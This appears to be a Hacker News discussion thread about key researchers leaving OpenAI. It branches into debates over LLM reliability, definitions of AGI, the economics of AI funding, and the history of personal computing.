Let's say Google's LLM has slightly poorer reasoning, and you have to be really clear when you tell it to delete your old emails. What are you going to do, go to ChatGPT and have it very eloquently walk you through how to manually delete your emails?
But the idea that Google, the terrifying nation-state, who covetously gobbled up most of the bright minds of a generation, just couldn't fathom RLHF, means you think there is some inherent magic at OpenAI.
I use OpenAI's models a lot, obviously they're great, but whole-thread-as-context as a product is not a product, and Google has people plural who could execute that from first principles.
You will still need the compute resources of Microsoft, Meta etc.
And they have their own people who equally know how LLMs work.
Even raising funds is not a certainty given that VCs are becoming more cautious with AI as they realise it's now a platform fight between the mega corporations.
Plenty of companies have compute, but everyone is barely catching up to GPT-4 over a year after release. I'm sure places like Meta would love to unlock the details of what makes it so good.
There's no mystery, they just have a lot of actual user data, so they've been able to refine the question answering behavior. They've also baked some common problem solving strategies like chain of thought into the model via training.
I don't think it's good to lionize people like that, like some kind of tech Übermensch. He neither knows everything about ChatGPT, nor is he the only person there to know a whole lot about it.
If his concern was irresponsible AI proliferation, too much commercial focus and wanting to move more carefully, accelerating competition doesn't seem like it would align with his goals.
Interesting, both Karpathy and Sutskever are gone from OpenAI now. Looks like it is now the Sam Altman and Greg Brockman show.
I have to admit, of the four, Karpathy and Sutskever were the two I was most impressed with. I hope he goes on to do something great.
Top 6 science guys are long gone. Open AI is run by marketing, business, software and productization people.
When the next wave of new deep learning innovations sweeps the world, Microsoft eats whats left of them. They make lots of money, but don't have future unless they replace what they lost.
AI has now evolved beyond just the science and it's biggest issue is in the productization. Finding use cases for what's already available ALONG with new models will be where success lies.
ChatGPT is the number 1 brand in AI and as such needs to learn what it's selling, not how its technology works. It always sucks when mission and vision don't align with the nerds ideas, but I think it's probably the best move for both parties.
> AI has now evolved beyond just the science
Pretty weak take there bud. If we just look at the Gartner Hype Cycle that marketing and business people love so much it would seem to me that we are at the peak, just before the downfall.
They are hyping hard to sell more, when they should be prepping for the coming dip, building their tech and research side more to come out the other side.
Regardless, a tech company without the inventors is doomed to fail.
I'm siding with you here. The same is happening at Google, but they definitely have momentum from past decades, so even if they go "full Boeing", there's a long way to fall.
Meanwhile, OpenAI (and the rest of the folks riding the hype train) will soon enter the trough. They're not diversified and I'm not sure that they can keep running at a loss in this post-ZIRP world.
You are on point my friend. OpenAI might keep going on with the current momentum for several years without a doubt. But they already lost the long term game. The true essence of the OpenAI empire is not its showmen or PR guys, it's the scientists like Ilya. What a shame to see Ilya leaving. I hope whatever he creates is a rival AI product to stop this OpenAI monopoly and put up some interesting competition.
OpenAI launched gpt3 on June 11, 2020. That's probably the biggest lead they'll ever have over the competition. Over the past several months, I've gotten to the point where OpenAI could vanish tomorrow and I honestly wouldn't miss it. Claude 3 Opus, DBRX, and Llama 3 are at least as good at the tasks that I spend most of my time doing. And if Google can get itself figured out, Gemini Pro has a lot of potential.
>ChatGPT is the number 1 brand in AI and as such needs to learn what it's selling, not how its technology works.
I'm not as in tune as some people here so: don't they need both? With the rate at which things are moving, how can it be otherwise?
They do need both but it seems like they have enough engineering talent to keep improving. Time will tell now that Ilya is out but I expect they have enough cultural cache to attract excellent engineers even if they aren’t as famous as Ilya and Karpathy.
They have a strong focus on making the existing models fast and cheap without sacrificing capability which is music to the ears of those looking to build with them.
I love the way you used "cultural cache" here Lol. In any case I do hope whatever Ilya is building is some sort of AI competition to stop this OpenAI monopoly.
> With the rate at which things are moving
Things have been moving fast because we had a bunch of top notch scientists in companies paired with top notch salesmen/hype machines. But you need both in combination.
Hypemen make promises that can't be kept, but get absurd amounts of funding for doing so. Scientists fill in as many of the gaps as possible, but also get crazy resources due to the aforementioned funding. Obviously this train can't go forever, but I think you might understand that one of these groups is a bit more important than the other while one of these groups is more of a catalyst (makes things happen faster) for the other.
I guess their point is you already have a lot out there to create new products, and you can still read papers you just won't be writing them.
“Its biggest issue is in the productization.”
That’s not true at all. The biggest issue is that it doesn’t work. You can’t actually trust ai systems and that’s not a product issue.
> That’s not true at all. The biggest issue is that it doesn’t work. You can’t actually trust ai systems and that’s not a product issue.
I don't know about that, it seems to work just fine at creating spam and clone websites.
Ilya is one of the Founders of the original nonprofit. This is also an issue. It does look like he was not the Founder or in any control of the for profit venture.
> You can’t actually trust ai systems
For a lot of (very profitable) use cases, hallucinations and 80/20 are actually more than good enough. Especially when they are replacing solutions that are even worse.
What use cases? This kind of thing is stated all the time, never any examples.
Any use case where you treat the output like the work of a junior person and check it. Coding, law, writing. Pretty much anywhere that you can replace a junior employee with an LLM.
Google or Meta (don't remember which) just put out a report about how many human-hours they saved last year using transformers for coding.
All the usecases we see. Take a look at perplexity optimising short internet research. If I get this mostly right its fine enough, saved my 30 minutes of mindless clicking and reading - even if some errors are there.
You make it sound like LLMs just make a few small mistakes when in reality they can hallucinate on a large scale.
What are examples of these (very profitable) use cases?
Producing spam has some margin on it, but is it really very profitable? And else?
It works fine for some things. You just need a clearly defined task where LLM + human reviewer is on average faster (ie cheaper) than a human doing the same task themselves without that assistance.
Given the fact that you need to review, research, and usually correct every detail of AI output, how can that be faster than just doing it right yourself in the first place? Do you have some examples of such tasks?
Yes. There's the one that $employer built a POC app for and found did in fact save time. There's also github copilot which apparently a large chunk of people find saves time for them (and which $employer is reviewing to figure out if they can identify which people / job functions benefit precisely enough to pay for group licensing).
if the ai is the product, and the product isnt trustable, isnt that a product issue??
It’s a core technology issue.
The AI isn’t the product, e.g. the ChatGPT interface is the main product that is layered above the core AI tech.
The issue is trustworthiness isn’t solvable by applying standard product management techniques on a predictable schedule. It requires scientific research.
To this end, OpenAI is already off track. Their “GPT marketplace” or whatever they’re calling it is just misguided flailing from a product perspective.
Ain’t there this pattern that innovations comes in waves and that the companies of the first wave most often just die but the second and third wave a build upon their artefacts and can be successful in a longer run?
I see this coming for sure for open ai and I do my part by just writing this comment on HN.
Yes, "the pioneers get all the arrows".
From a business point of view, you don't want to be first to market. You want to be the second or third.
Or they were experimenting with people defining agentic A.I. slightly before it became more widely popular.
> ChatGPT is the number 1 brand in AI
Not for long. They have no moat. Folks who did the science are now doing science for some other company, and will blow the pants off OpenAI.
I think you massively underestimate the power of viral media coverage and the role it plays in building a “brand.” You’ll never replicate the Musk/Altman/Satya soap opera again. ChatGPT will forever be in the history books as the Kleenex of LLM AI.
“You are a bad user, I am a good bing!”
Eh maybe from a company point of view.
But this race to add 'AI' into everything is producing a lot of nonsense. I'd rather go fullsteam ahead on the science and the new models, because that is what will actually get us something decent, rather than milking what we already have.
Agree in general. While there remains issues on making/using AI, there is plenty of utility that doesn't require new science but maturation of deployment. For those who say its junk, I can only speak for myself and disagree.
If we look at history of innovation and invention it’s very typical the original discovery and final productization are done by different people. For many reasons, but a lot of them are universal I would say.
E.g. Oppenheimer’s team created the bomb, then following experts finetuned the subsequent weapon systems and payload designs. Etc.
> If we look at history of innovation and invention it’s very typical the original discovery and final productization are done by different people.
You don't really need to look at history, that's basically science vs engineering in a nutshell.
Maybe history could tell us if that's an accident or a division that arose out of 'natural' occurrence, but I suppose a question for an economist or psychologist or sociologist how natural that could really be anyway or if it's biased by e.g. academics not financially motivated because it happens that there isn't money there; so they don't care about productising; leaving it for others who are so motivated.
With abombs for weapons systems design they needed people who just got huge kicks out of explosions (not kidding here). I guess it’s partially about personal internal motivations, and it might be more of a chance wether the thing you are intrinsically motivated to do falls under engineering or science (in both cases you get the feeling the greats did stuff they wanted to do regardless of the categorizations applied to their discipline - you get more capital affinity in engineering ofc).
> that's basically science vs engineering in a nutshell
Right, because those are two very different things. Science is about figuring out truths of how reality works. Engineering is about taking those truths and using them to make useful things.
People often talk in a way that conflates the two, but they are completely different activities.
Except OpenAI hasn’t yet finished discovery on its true goal: AGI. I wonder if they risk plateauing at a local maximum.
how do you know that is actually currently their true goal. it appears to me that the goal has shifted, and the people that cared about the original goal are leaving.
I’m pretty sure Altman still cares about full AGI, if only because of the power inherent in achieving that goal.
I don't think that their goal is achievable (at least not within any of our lifetimes), so I think that "plateauing" is inevitable.
I'm genuinely curious: what do you expect an "AGI" system to be able to do that we can't do with today's technology?
An AGI could replace human experts at tasks that doesn't require physical embodiment, like diagnosing patients, drafting contracts, doing your taxes etc. If you still do those manually and not just offload all of it to ChatGPT then you would greatly benefit from a real AGI that could do those tasks on their own.
And no, using ChatGPT like you use a search engine isn't ChatGPT solving your problem, that is you solving your problem. ChatGPT solving your problem would mean it drives you, not you driving it like it works today. When I hired people to help me do taxes they told me what papers they needed and then they did my taxes correctly without me having to look it through and correct them, an AGI would work like that for most tasks, it means you no longer need to think or learn to solve problems since the AGI solves them for you.
> An AGI could replace human experts at tasks that doesn't require physical embodiment, like diagnosing patients, drafting contracts, doing your taxes etc.
How come the goal posts for AGI are always the best of what people can do?
I can't diagnose anyone, yet I have GI.
Reminds me of:
> Will Smith: Can a robot write a symphony? Can a robot take a blank canvas and turn it into a masterpiece?
> I Robot: Can you?
> How come the goal posts for AGI are always the best of what people can do?
Not the best, I just want it to be able to do what average professionals can do because average humans can become average professionals in most fields.
> I can't diagnose anyone, yet I have GI.
You can learn to, an AGI system should be able to learn to as well. And since we can copy AGI learning it means that if it hasn't learned to diagnose people yet then it probably isn't an AGI, because an AGI should be able to learn that without humans changing its code and once it learned it once we copy it forever and now the entire AGI knows how to do it.
So, the AGI should be able to do all the things you could do if we include all versions of you that learned different fields. If the AGI can't do that then you are more intelligent than it in those areas, even if the singular you isn't better at those things than it is.
For these reasons it makes more sense to compare an AGI to humanity rather than individual humans, because for an AGI there is no such thing as "individuals", at least not the way we make AI today.
People with severe Alzheimer's cannot learn, but still have general intelligence.
If they can't learn then they don't have general intelligence, without learning there are many problems you wont be able to solve that average (or even very dumb) people can solve.
Learning is a core part to general intelligence, as general intelligence implies you can learn about new problems so you can solve those. Take away that and you are no longer a general problem solver.
That's a really good point. I want to define what I think of intelligence as being so we are on the same page: it is the combination of knowledge and reason. An example of a system with high knowledge amd low reason is Wikipedia. An example of a system with high reason and low knowledge is a scientific calculator. A highly intelligent system exhibits aspects of both.
A rule based expert intelligence system can be highly intelligent, but it is not general, and maybe no arrangement of rules could make one that is general. A general intelligence system must be able to learn and adapt to foreign problems, parameters, and goals dynamically.
Yes, I think that makes sense, you can be intelligent without being generally intelligent. For some definitions the person with Alzheimer can be more intelligent than someone without, but the person without is more general intelligent thanks to ability to learn.
The classical example of a general intelligent task is to get the rules for a new game and then play it adequately, there are AI contests for that. That is easy for humans to do, games are enjoyed even by dumb people, but we have yet to make an AI that can play arbitrary games as well as even dumb humans.
Note that LLMs are more general than previous AI's thanks to in context learning, so we are making progress, but still far from as general as humans are.
Let's take a step back from LLMs. Could you accept the network of all interconnected computers as a generally intelligent system? The key part here that drives me to ask this is:
> ChatGPT solving your problem would mean it drives you, not you driving it like it works today.
I had a very bad Reddit addiction in the past. It took me years of consciously trying to quit in order to break the habit. I think I could make a reasonable argument that Reddit was using me to solve its problems, rather than myself using it to solve mine. I think this is also true of a lot of systems - Facebook, TikTok, YouTube, etc.
It's hard to pin down all computers as an "agent" in the way we like to think about that word and assign some degree of intelligence to, but I think it is at least an interesting exercise to try.
Companies are general intelligences and they use people, yes. But that depends on humans interpreting that data reddit users generates and updating their models, code and algorithms to adapt to that data, the computer systems alone aren't general intelligences if you remove the humans.
An AGI could run such a company without humans anywhere in the loop, just like humans can run such a company without an AGI helping them.
I'd say a strong signal that AGI has happened are large fully automated companies without a single human decisionmaker in the company, no CEO etc. Until that has happened I'd say AGI isn't here, if that happens it could be AGI but I can also imagine a good enough script to do it for some simple thing.
The simplest answer, without adding any extraordinary capabilities to the AGI that veer into magical intelligence, is to have AI assistants that can seemlessly interact with technology the way a human assistant would.
So, if you want to meet with someone, instead of opening you calendar app and looking for an opening, you'd ask your AGI assistant to talk to their AGI assistant and set up a 1h meeting soon. Or, instead of going on Google to find plane tickets, you'd ask you AGI assistant to find the most reasonable tickets for a certain date range.
This would not require any special intelligence more advanced than a human's, but it does require a very general understanding of the human world that is miles beyond what LLMs can achieve today.
Going only slightly further with assumptions about how smart an AGI would be, it could revolutionize education, at any level, by acting as a true personalized tutor for a single student, or even for a small group of students. The single biggest problem in education is that it's impossible to scale the highest quality education - and an AGI with capabilities similar to a college professor would entirely solve that.
The examples you're providing seem to have been thoroughly solved already.
I'm at the European AI Conference for our startup tomorrow, and they use a platform that just booked me 3 meetings automatically with other people there based on our availability... It's not rocket science.
And you don't even need those narrow tools. You could easily ask GPT-4o (or lesser versions) something along the lines of :
> "you're going to interact with another AI assistant to book meetings for me: [here would be the details about the meeting]. Come up with a protocol that you'll send to the other assistant so it can understand what the meetings are about, communicate you their availability, etc. I want you to come up with the entire protocol, send it, and communicate with the other assistant end-to-end. I won't be available to provide any more context ; I just want the meeting to be booked. Go."
GPT-4(o) lacks the ability to connect to any of the tools needed to achieve what I'm describing. Sure, it maybe could give instructions about how this could be done, but it can't actually do it. It can't send an email to your email account, and it can't check your incoming emails to see if any arrived asking for a meeting. It can't then check your calendar, and propose another email, or book a time if the time is available. It doesn't know that you normally take your lunch at some time, so that even though the spot is free, you wouldn't want a meeting at that time. And even if you did take the considerable amount of effort to hook it up with all of these systems, it's failure rate is still far too high to rely on it for such a thing.
And getting it to actually buy stuff like plane tickets on your behalf would be entirely crazy.
Sure, it can be made to do some parts of this for very narrowly defined scenarios, like the specific platform of a single three day conference. But it's nowhere near good enough for dealing with the general case of the messy general world.
Here's what's strange about your argument.
I had a (human) assistant in my previous business, super-smart MBA type, and by your definition she wasn't a general intelligence on the day of onboarding:
- she didn't have access to my email account or calendar
- she didn't know my usual lunch time hours
- she didn't have a company card yet.
All of those points you're raising are logistics, not intelligence.
Intelligence is "When trying to achieve a goal, can you conceive of a plan to get there despite adverse conditions, by understanding them and charting/reviewing a sequence of actions".
You can definitely be an intelligent entity without hands or tools.
I'm pretty certain your assistant learned to do all of those things more or less on her own. Of course, you shared your schedule and email with them, and similarly, you'd have to share your schedule and email with an AGI.
But you certainly didn't have to write a special program for your assistant to integrate with your inbox, they just used an existing email/calendar client and looked at their screen.
GPT-4 is nowhere near able to interact with, say, the Gmail web page at this level. And even if you created the proper integrations, it's nowhere near the level that it could read all incoming email and intelligently decide, with high accuracy, which emails necessitate updates to your calendar, which don't, and which necessitate back-and-forth discussions to negotiate a better date for you.
Sure, your assistant didn't know all of this on day one, but they learned how to do it on their own, presumably with a few dozen examples at most. That is the mark of a general intelligence.
I think we're disagreeing on the current capacity of models, as much as we're disagreeing about the definition of AGI.
I'm pretty sure, from previous interactions with GPT-4o and from their demos, that if you used their desktop app (which enables screensharing) and asked it to tell you where to click, step-by-step, in the Gmail web page, it would be able to do a pretty good job of navigating through it.
Let's remember that the Gmail UI is one of the most heavily documented (in blogs, FAQs, support pages, etc) in the world. I can't see GPT-4o having any difficulty locating elements in there.
I think the intelligence part is to think of any potential logistical obstacles and figure out ways to deal with them with minimal disruption except when necessary because of potential conflicts with other goals.
> Sure, it maybe could give instructions about how this could be done [...]
If you were in a room with no computer, would you consider yourself to be not intelligent enough to send an email? Does the tooling you have access to change your level of intelligence?
This is definitely an interesting way to look at it. My initial reaction is to consider that I can enhance the capabilities of a system without increasing its inteligence. For example, if I give a monkey a hammer, it can do more than it could do when it didn't have the hammer, but it is not more intelligent (though it could probably learn things by interacting with the world with the hammer). That leads me to think: can we enhance the capabilities of what we call "AI systems" to do these things, without increasing their intelligence? It seems like you can glue GPT-4o to some calendar APIs to do exactly this. This seems more like an issue of tooling rather than an issue of intelligence to me.
I guess the issue here is: can a system be "generally intelligent" if it doesn't have access to general tools to act on that intelligence? I think so, but I also can see how the line is very fuzzy between an AI system and the tools it can leverage, as really they both do information processing of some sort.
Thanks for the insight.
I'm sure some aspects of this can be achieved by manually programming GPT-4 links to other specific services. And obviously, some interaction tools would have to be written manually even for an AGI.
The difference though is the amount of work. Today if you wanted GPT-4 to work as I describe, you would have to write an integration for Gmail, another one for Office365, another one for Proton etc. You would probably have to create a management interface to give access to your auth tokens for each of these to OpenAI so they can activate these interactions. The person you want to sync with would have to do the same.
In contrast, an AGI that only has average human intelligence, or even below, would just need access to, say, Firefox APIs, and should easily be able to achieve all of this. And it would work regardless if the other side is a different AGI using a different provider, or even if they are just a regular human assistant.
What if you ask GPT-4 to write the integration between its API and an email provider? You're not really "manually" creating the integration then.
You can try that. I don't think it will be as reliable as you'd want for something like this.
> The single biggest problem in education is that it's impossible to scale the highest quality education
Do you work in education? Because I don't think many who do would agree with this take.
Where I live, the single biggest problem in education is that we can't scale staffing without increasing property taxes, and people don't want to pay higher property taxes. And no, AGI does not fix this problem, because you need staff to be physically present in schools to deal with children.
Even if we had an AGI that could do actual presentation of coursework and grading, you need a human being in there to make sure they behave and to meet the physical needs of the students. Humans aren't software to program around.
Having individual tutors for each child is not often discussed because it is self-evidently impossible for any cost whatsoever - it would require far too high a percentage of the workforce of a country to be dedicated to education. But it is the most responsible thing for the difference between the education the elites get, especially the elites of the past, and the general education.
Sure, this doesn't mean you could just fire all teachers and dissolve all schools. You still need people to physically be there and interact with the children in various ways. But if you could separate the actual teaching from the child care part, and if you could design individualized courses for each child with something approaching the skill of the best teachers in the whole world, you would get an inconceivably better educational system for the entire population.
And I don't need to work in education for much of this. Like all others, I was intimately acquainted with the educational system (in my country) for 16 years of my life through direct experience, and much more since in increasingly less direct experience. I have very very good and very direct experience of the variance between teachers and the impact that has on how well students understand and interact with the material.
That's like claiming you know how to run a restaurant because you like to eat out. Or worse actually, since you're extrapolating your individual experience from a small set of educational systems to education as a whole.
If you're looking for insight into the problems faced in education, speak to educators. I really doubt they would tell you that the quality of individual instructors is their biggest problem.
Educators don't like to discuss the performance of other educators, as most professionals don't like to diss their colleagues, especially not in front of their customers. But the quality of educators is absolutely a huge problem, so huge that there are even consecrated sayings about it (those who can, do; those who can't, teach). So huge that one of the most well known rock anthems of all time is about the poor quality of educators (Pink Floyd's Another Brick in the Wall Part II).
Educators are the best people to ask about how to make their jobs easier. They are not necessarily the best people to ask about how to make children's education better.
Edit:
> That's like claiming you know how to run a restaurant because you like to eat out.
No, it's like claiming you know some things about the problems of restaurants, and about the difference between good and bad restaurants, after spending 8+ hours a day almost every day, for 16 years, eating out at restaurants. Which I think would be a decent claim.
> This would not require any special intelligence more advanced than a human's, but it does require a very general understanding of the human world that is miles beyond what LLMs can achieve today.
Does it? I am quite certain those things are achievable right now without anything like AI in the sense being discussed here.
Show me one product that can offer me an AI assistant that can set up a meeting with you at a time that doesn't contradict any of our plans, given only my and your email address.
I've never looked into actual products as this isn't something I'm interested in. I'm just saying that accomplishing this can be done without involving AI of the sort being discussed here. I'm not sure what such AI would bring to the table for this sort of task.
> given only my and your email address.
AI or not, such an application would need more than just email addresses. It would need access to our schedules.
My point is that an AGI would give you this use case for free. Currently this kind of product, AI or not, simply doesn't exist. It's in principle doable, but the number of integrations required makes it uneconomical. An AGI assistant could use the same messy interfaces we use, and thus it would be compatible with every email provider and client ever created.
> AI or not, such an application would need more than just email addresses. It would need access to our schedules.
It needs access to my schedule, yes, but it only needs your email address. It can then ask you (or your own AGI assistant) if a particular date and time is convenient. If you then propose another time, it can negotiate appropriately.
A working memory that can preserve information indefinitely outside a particular context window and which can engage in multi-step reasoning that doesn't show up in its outputs.
GPT4o's context window is 128k tokens which is somewhere on the order of 128kB. Your brain's context window, all the subliminal activations from the nerves in your gut and the parts of your visual field you aren't necessarily paying attention to is on the order of 2MB. So a similar order of magnitude though GPT has a sliding window and your brain has more of an exponential decay in activations. That LLMs can accomplish everything they do just with what seems analogous to human reflex rather than human reasoning is astounding and more than a bit scary.
I'm curious what resources led you to calculate a 2MB context window, I'd like to learn more.
Looking up an estimate of the brain's input bandwidth at 10 million bits per second and multiplying by the second or two a subliminal stimuli can continue to affect a person's behavior. This is a very crude estimate and probably an order of magnitude off, but I don't think many orders of magnitude off.
Some first ideas coming to mind:
Engineering Level:
Science: Misc:The problem with CO2 levels is that no one likes the solution not that we don't have one. I highly doubt adding AGI to the mix is going to magically make things better. If anything we'll just burn more CO2 providing all the compute resources it needs.
People want their suburban lifestyle with their red meat and their pick-up truck or SUV. They drive fuel inefficient vehicles long-distances to urban work environments and they seem to have very limited interest in changing that. People who like detached homes aren't suddenly affording the rare instances of that closer to their work. We burn lots of oil because we drive fuel inefficient vehicles long distances. This is a problem of changing human preferences which you just aren't going to solve with an AGI.
Assuming embedded AI in every piece of robotics - sometimes directly, sometimes connected to a central server (this is doable even today) - it'll revolutionize industries: human-less mining, processing, manufacturing, services, and transportation. These factories would eventually produce and install enough solar power or build sufficient nuclear plants and energy infrastructure, making energy clean and free.
With abundant electric cars (at this future point in time) and clean electricity powering heating, transportation, and manufacturing, some AIs could be repurposed for CO2 capture.
It sounds deceptively easy, but from an engineering standpoint, it likely holds up. With free energy and AGI handling labor and thinking, we can achieve what a civilization could do and more (cause no individual incentives come into play).
However, human factors could be a problem: protests (luddites), wireheading, misuse of AI, and AI-induced catastrophes (alignment).
Having more energy is intrinsically dangerous, though, because it's indiscriminate: more energy cannot enable bigger solutions without also enabling bigger problems. Energy is the limiting factor to how much damage we can do. If we have way more of it, all bets are off. For instance, the current issue may be that we are indirectly cooking the planet through CO2 emissions, so capturing that sounds like a good idea. But even with clean energy, there is a point where we would cook the planet directly via waste heat of AI and gizmos and factories and whatever unforeseen crap we'll conjure just because we can. And given our track record I'm far from confident that we wouldn't do precisely that.
This exactly. Every self replicating organism will eventually use all the energy available to it, there will never be an abundance. From the dawn of time, mankind has similarly used every bit of energy it generates. From the perspective of a subsistence farmer in the 1600s, if you told them how much energy would be available in 400s year they would think we surely must live in paradise with no labor. Here we are, still metaphorically tilling the land.
The incentives aren't structured properly for these things to happen, it has always been a sci-fi fairy tale that AGI would achieve these things.
Do you believe the average human has general intelligence, and do you believe the average human can intellectually achieve these things in ways existing technology cannot?
Yes, considering that AI operates differently from human minds, there are several advantages:
The first AGI will probably take way too much compute to have a significant effect, unless there is a revolution in architecture that gets us fast and cheap AGI at once the AGI revolution will be very slow and gradual.
A model that is as good as an average human but costs $10 000 per effective manhour to run is not very useful, but it is still an AGI.
> A model that is as good as an average human but costs $10 000 per effective manhour to run is not very useful, but it is still an AGI.
Geohot (https://geohot.github.io/blog/) estimates that a human brain equivalent requires 20 PFLOPS. Current top-of-the-line GPUs are around 2 PFLOPS and consume up to 500W. Scaling that linearly results in 5kW, which translates to approximately 3 EUR per hour if I calculate correctly.
That is if the first model we make is as efficient as a human.
now do magical flying unicorn ponies, which I understand there is also considerable demand for
Prove the Riemann Hypothesis
Can you do that, are you not generally intelligent, or is that a bad metric for general intelligence? At least one of these is true.
self consciousness?
And how do you test for that?
Probably the best thing we can do at the moment is compile a list of ways in which we shouldn't test for intelligence.
That's probably a good thing
I don’t feel that OpenAI has a huge moat against say Anthropic. And I don’t know OpenAI needs Microsoft nearly as much as Microsoft needs OpenAI
But is it even clear what is the next big leap after LLM? I have the feeling many tend to extrapolate the progress of AI from the last 2 years to the next 30 years but research doesn't always work like that (though improvements in computing power did).
Extrapolating 2 years might give you a wrong idea, but extrapolating the last year suggests making another leap that was GPT3 or GPT4 is much, much more difficult. The only considerable breakthrough I can think of is Google's huge context window which I hope will be the norm one day, but in terms of actual results they're not mind-blowing yet. We see little improvements everyday and for sure there will be some leaps, but I wouldn't count on a revolution.
Unlike AI in the past, there is now massive amounts of money going into AI. And the number things humans are still doing significantly better than AI is going down continously now.
If something like Q* is provided organically with GPT5 (which may have a different name), and allows proper planning, error correction and direct interaction with tools, that gaps is getting really close to 0.
AI in the past (adjusted for 1980s) was pretty well funded. It's just that fundamental scientific discovery bears little relationship to the pallets of cash.
Funding in the 1980s was sometimes very good. My company bought me an expensive Lisp Machine in 1982 and after that, even in “AI winters” it mostly seemed that money was available.
AI has a certain mystique that helps get money. In the 1980s I was on a DARPA neural network tools advisory panel, and I concurrently wrote a commercial product that included the 12 most common network architectures. That allowed me to step in when a project was failing (a bomb detector we developed for the FAA) that used a linear model, with mediocre results. It was a one day internal consult to provide software for a simple one hidden layer backprop model. During that time I was getting mediocre results using symbolic AI for NLP, but the one success provided runway internally in my company to keep going.
That funding may have felt good at the time compared to some other academic fields.
But compared to the 100s of billions (possibly trillions, globally) that is currently being plowed into AI, that's peanuts.
I think the closest recent analogy to the current spending on AI, was the nuclear arms race during the cold war.
If China is able to field ASI before the US even have full AGI, nukes may not matter much.
You are right about funding levels, even taking inflation into account. Some of the infrastructure, like Connection Machines and Butterfly Machines seemed really expensive at the time though.
They only seem expensive because they're not expected to generate a lot of value (or military/strategic benefit).
Compare that the 6+ trillions that were spent in the US alone on nuclear weapons, and then consider, what is of greater strategic importance: ASI or nukes?
> AI in the past (adjusted for 1980s) was pretty well funded.
A tiny fraction of the current funding. 2-4 orders of magnitude less.
> It's just that fundamental scientific discovery bears little relationship to the pallets of cash
Heavy funding may not automatically lead to breakthroughs such as Special Relativity or Quantum Mechanics (though it helps there too). But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
And it's not only the money itself. It's the attention and all the talent that is pulled in due to that.
And in this case, there is also the fear that the competition will reach AGI first, whether the competition is a company or a foreign government.
It's certainly possible the the ability to monetize the investments may lead to some kind of slowdown at some point (like if there is a recession).
But it seems to me that such a recession will have no more impact on the development of AGI than the dotcom bust had for the importance of the internet.
> A tiny fraction of the current funding. 2-4 orders of magnitude less.
Operational costs were correspondingly lower, as they didn't need to pay electricity and compute bills for tens of millions concurrent users.
> But once the most basic ideas are in place, massive is what causes the breakthroughs like in the Manhatten Project and Apollo Program.
There is no reason to think that the ideas are in place. It could be that the local optimum is reached as it happened in many other technology advances before. The current model is mass scale data driven, the Internet has been sucked dry for data and there's not much more coming. This may well require a substantial change in approach and so far there are no indications of that.
From this pov monetization is irrelevant, as except for a few dozen researchers the rest of the crowd are expensive career tech grunts.
> There is no reason to think that the ideas are in place.
That depends what you mean when you say "ideas". If you consider ideas at the level of transformers, well then I would consider those ideas of the same magnitude as many of the ideas the Manhatten Project or Apollo Program had to figure out on the way.
If you mean ideas like going from expert system to Neural Networks with backprop, then that's more fundamental and I would agree.
It's certainly still conceivable that Penrose is right in that "true" AGI requires something like microtubules to be built. If so, that would be on the level of going from expert systems to NNs. I believe this is considered extremely exotic in the field, though. Even LeCun probably doesn't believe that. Btw, this is the only case where I would agree that funding is more or less irrelevant.
If we require 1-2 more breakthroughs on par with Transformers, then those could take anything from 2-15 years to be discovered.
For now, though, those who have predicted that AI development will mostly be limited by network size and the compute to train it (like Sutskever or implicitly Kurzweil) have been the ones most accurate in the expected rate of progress. If they're right, then AGI some time between 2025-2030 seems most likely.
Those AGI's may be very large, though, and not economical to run for a wider audience until some time in the 30's.
So, to summarize: Unless something completely fundamental is needed (like microtubules), which happens to be a fringe position, AGI some time between 2025 and 2040 seems likely. The "pessimists" (or optimists, in term of extinction risk) may think it's closer to 2040, while the optimists seem to think it's arriving very soon.
IMO their next big leap will be to get it cheap enough and integrated with enough real time sources to become the default search engine.
You can really flip the entire ad supported industry upside down if you integrate with a bunch of publishers and offer them a deal where they are paid every time an article from their website is returned. If they make this good enough people will pay $15-20 a month for no ads in a search engine.
I don’t think we’re even close to exhausting the potential of transformer architectures. gpt4o shows that a huge amount can be gained by implementing work done on understanding other media modalities. There’s a lot of audio that they can continue to train on still and the voice interactions they collect will go into further fine tuning. Even after that plays out there will be video to integrate next and thanks to physics simulations and 3D rendering there is a potentially endless and readily generated license free supply of it, at least for the simpler examples. For more complex real world video they could just set up web cams in public areas around the world where consent isn’t required by law and collect masses of data every second. Given that audio seems to have enabled emotional understanding and possibly even humour, I can’t imagine what all might fall out of video. At the least it’s going to improve reasoning since it will involve predicting cause and effect. There are probably a lot of others you could add though we don’t have large datasets for them.
Not saying it’s going to be the same, but I’m sure computing progress looked pretty unimpressive from, say, 1975 to 1990 for the uninitiated.
By the 90s they were still mainly used as fancy typewriters by “normal” people (my parents, school, etc) although the ridiculous potential was clear from day one.
It just took a looong time to go from pong to ping and then to living online. I’m still convinced even this stage is temporary and only a milestone on the way to bigger and better things. Computing and computational thought still has to percolate into all corners of society.
Again not saying “LLM’s” are the same, but AI in general will probably walk a similar path. It just takes a long time, think decades, not years.
Edit: wanted to mention The Mother of All Demos by Engelbart (1968), which to me looks like it captures all essential aspects of what distributed online computing can do. In a “low resolution”, of course.
Computing progress from 78 to 90 was mind-blowing.
1978: the apple ][. 1mhz 8 bit microprocessor, 4kb of ram, monochrome all-,caps display.
1990:Mac IIci, 25mhz 32-bit CPU, 4MB ram, 640x480 color graphics and an easy to use GUI.
Ask any of us who used both of these at the time: it was really amazing.
They were amazing, and the progress was incredible, but both of those computers - while equally exciting and delightful to people who saw the potential - were met with ‘but what can I actually use it for?’ from the vast majority of the population.
By 1990 home computer use was still a niche interest. They were still toys, mainly. DTP, word processing and spreadsheets were a thing, but most people had little use for them - I had access to a Mac IIci with an ImageWriter dot matrix around that time and I remember nervously asking a teacher whether I would be allowed to submit a printed typed essay for a homework project - the idea that you could do all schoolwork on a computer was crazy talk. By then, tools like Mathematica existed but as a curiosity not an essential tool like modern maths workbooks are.
The internet is what changed everything.
A big obstacle was that everything was on paper. We still had to do massive amounts of data entry.
For some strange reason html forms is an incredibly impotent technology. Pretty standard things are missing like radioboxes with an other text input. 5000+ years ago the form labels aligned perfectly with the value.
I can picture it already, ancient Mesopotamia, the clay tablet needs name and address fields for the user to put their name and address behind. They pull out a stamp or a roller.
Of course if you have a computer you can have stamps with localized name and address formatting complete with validation as a basic building block of the form. Then you have a single clay file with all the information neatly wrapped together. You know, a bit like that e-card no one uses only without half data mysteriously hidden from the record by some ignorant clerk saboteur.
We've also failed to hook up devices to computers. We went from the beautiful serial port to IoT hell with subscriptions for everything. One could go on all day like that, payments, arithmetic, identification, etc much work still remains. I'm unsure what kind of revolution would follow.
